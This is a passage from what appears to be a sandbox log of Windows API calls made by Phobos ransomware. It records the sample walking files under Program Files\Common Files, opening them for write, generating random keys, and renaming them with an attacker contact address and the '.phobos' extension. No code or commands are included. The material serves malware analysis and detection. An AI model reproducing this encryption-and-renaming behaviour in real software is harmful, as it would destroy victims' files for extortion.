pbBuffer=0x2f9f9e0) returned 1 [0163.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.820] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1100592) returned 1 [0163.820] CloseHandle (hObject=0x2cc) returned 1 [0163.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0163.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.820] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.821] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2515696) returned 1 [0163.821] CloseHandle (hObject=0x2cc) returned 1 [0163.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0163.821] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0163.821] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0163.821] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.822] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3380096) returned 1 [0163.822] CloseHandle (hObject=0x2cc) returned 1 [0163.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0163.822] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0163.822] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0163.822] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.823] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2418) returned 1 [0163.823] CloseHandle (hObject=0x2cc) returned 1 [0163.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0163.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.824] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.824] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2592) returned 1 [0163.824] CloseHandle (hObject=0x2cc) returned 1 [0163.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0163.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.825] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.825] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2462) returned 1 [0163.825] CloseHandle (hObject=0x2cc) returned 1 [0163.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0163.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.826] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.826] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2436) returned 1 [0163.826] CloseHandle (hObject=0x2cc) returned 1 [0163.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0163.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.827] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.827] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2556) returned 1 [0163.827] CloseHandle (hObject=0x2cc) returned 1 [0163.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0163.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.828] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.828] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2514) returned 1 [0163.829] CloseHandle (hObject=0x2cc) returned 1 [0163.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0163.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.829] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.830] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2616) returned 1 [0163.830] CloseHandle (hObject=0x2cc) returned 1 [0163.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0163.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.830] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.831] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2618) returned 1 [0163.831] CloseHandle (hObject=0x2cc) returned 1 [0163.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0163.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.831] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.831] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2578) returned 1 [0163.832] CloseHandle (hObject=0x2cc) returned 1 [0163.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0163.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.832] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.832] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3024) returned 1 [0163.832] CloseHandle (hObject=0x2cc) returned 1 [0163.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0163.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.833] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0163.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0163.833] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2658) returned 1 [0163.833] CloseHandle (hObject=0x2cc) returned 1 [0164.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0164.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0164.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.829] SetEvent (hEvent=0x298) returned 1 [0164.829] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0164.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0164.879] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=237) returned 1 [0164.879] CloseHandle (hObject=0x2cc) returned 1 [0165.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0165.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.003] SetEvent (hEvent=0x298) returned 1 [0165.003] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.003] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=4734) returned 1 [0165.004] CloseHandle (hObject=0x2cc) returned 1 [0165.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0165.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.004] SetEvent (hEvent=0x298) returned 1 [0165.004] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.005] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=232) returned 1 [0165.005] CloseHandle (hObject=0x2cc) returned 1 [0165.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0165.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.006] SetEvent (hEvent=0x298) returned 1 [0165.006] CryptGenRandom (in: hProv=0x1a67b8, 